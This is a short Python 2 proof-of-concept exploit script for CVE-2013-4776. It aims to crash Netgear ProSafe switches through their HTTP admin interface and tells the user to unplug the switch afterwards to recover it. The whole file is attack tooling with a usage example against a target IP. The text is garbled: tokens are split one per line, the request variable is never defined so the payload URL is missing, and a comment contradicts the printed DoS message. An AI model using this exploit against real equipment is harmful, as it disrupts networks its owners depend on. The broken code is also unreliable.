import
sys, getopt, urllib2
from
subprocess
import
*
__version__
=
"0.1"
__author__
=
"Juan J. Guelfo, Encripto AS (post@encripto.no)"
# Prints title and other header info
def
header():
print
""
print
" ================================================================= "
print
"| Netgear ProSafe - CVE-2013-4776 PoC \t\t\t\t |"
.
format
(__version__)
print
"| by {0}\t\t |"
.
format
(__author__)
print
" ================================================================= "
print
""
# Prints help
def
help
():
header()
print
"""
Usage: python CVE-2013-4776.py [mandatory options]
Mandatory options:
-t target ...Target IP address
-p port ...Port where the HTTP admin interface is listening on
Example:
python CVE-2013-4776.py -t 192.168.0.1 -p 80
"""
sys.exit(
0
)
if
__name__
=
=
'__main__'
:
#Parse options
try
:
options, args
=
getopt.getopt(sys.argv[
1
:],
"t:p:"
, [
"target="
,
"port="
])
except
getopt.GetoptError, err:
header()
print
"\n[-] Error: {0}.\n"
.
format
(
str
(err))
sys.exit(
1
)
if
not
options:
help
()
target
=
None
port
=
None
for
opt, arg
in
options:
if
opt
in
(
"-t"
):
target
=
arg
if
opt
in
(
"-p"
):
port
=
arg
#Option input validation
if
not
target
or
not
port:
help
()
print
"[-] Error: Incorrect syntax.\n"
sys.exit(
1
)
header()
headers
=
{
"User-Agent"
:
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)"
}
try
:
# Get the startup config via HTTP admin interface
print
"[+] Triggering DoS condition..."
urllib2.urlopen(r,"",
5
).read()
except
urllib2.URLError:
print
"[-] Error: The connection could not be established.\n"
except
:
print
"[+] The switch should be freaking out..."
print
"[+] Reboot the switch (unplug the power cord) to get it back to normal...\n"
sys.exit(
0
)